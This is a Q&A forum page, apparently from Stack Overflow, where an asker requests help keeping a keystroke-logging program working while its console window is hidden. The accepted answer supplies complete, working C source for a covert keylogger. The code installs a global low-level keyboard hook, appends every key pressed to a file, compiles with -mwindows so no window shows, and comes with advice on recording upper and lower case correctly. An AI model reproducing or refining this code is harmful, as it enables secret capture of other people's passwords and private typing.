C.Unbay
C.Unbay

Reputation: 2826

Making console window invisible ruins the program

I am hooking the keys and writing them down to a file, everything works fine but when I make the console window hidden, I can not hook the keys and print to a file, how to get rid of this problem? Down below when I removed ShowWindow() function I am able to hook the keys but otherwise I am not. I see the process is still running on task manager by the way.

See my example code here:

KBDLLHOOKSTRUCT kbdSTRUCT;

int APIENTRY WinMain(HINSTANCE hinstance, HINSTANCE hprevious, LPSTR cmdline, int cmdshow ) {

  HWND wnd;
  wnd = GetConsoleWindow();
  ShowWindow(wnd, FALSE);

  HHOOK kbdHOOK;
  kbdHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0);

  MSG msgg;
  while(GetMessage(&msgg, NULL, 0, 0) > 0){
    TranslateMessage(&msgg);
    DispatchMessage(&msgg);
  }

}
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar){
  if(nCode >= 0){
    if(wPar == 256){
      kbdSTRUCT = *(KBDLLHOOKSTRUCT *)lPar;

      if(kbdSTRUCT.vkCode == 0x90){
        //fprintf function here to write to a file
        return CallNextHookEx(NULL, nCode, wPar, lPar);
      }

    }
  }
}

Thank you so much

Upvotes: 0

Views: 124

Answers (1)

Barmak Shemirani
Barmak Shemirani

Reputation: 31599

When using gcc, -mwindows will set the Windows subsystem, this way no console window will appear when entry point is WinMain

gcc myfile.c -mwindows -o myfile.exe

Use a global variable to store SetWindowsHookEx result and pass it kbdProc, use that in CallNextHookEx

#include <Windows.h>
#include <stdio.h>

HHOOK hhook = NULL;
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar)
{
    if(nCode >= 0) {
        if(wPar == WM_KEYDOWN) { //or WM_KEYUP!
            KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lPar;
            int c = kb->vkCode;
            FILE *file = fopen("test", "a");
            switch(c) {
            case VK_NUMLOCK: fprintf(file, "VK_NUMLOCK\n"); break;
            case VK_RETURN: fprintf(file, "\n"); break;
            default: fprintf(file, "%c", c); break;
            }
            fclose(file);
        }
    }
    return CallNextHookEx(hhook, nCode, wPar, lPar);
}

int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) 
{
    hhook = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0);
    MSG msg;
    while(GetMessage(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    UnhookWindowsHookEx(hhook);
    return 0;
}

Make sure to use the correct windows constants. For example ShowWindow(wnd, SW_HIDE) instead of ShowWindow(wnd, FALSE). WM_KEYUP instead of 256. Otherwise the code will be too confusing when you look at the next day. Other people will not understand it.

You need to examine the shift key in addition to VK_NUMLOCK to find upper/lower case letters ...

Upvotes: 1

Related Questions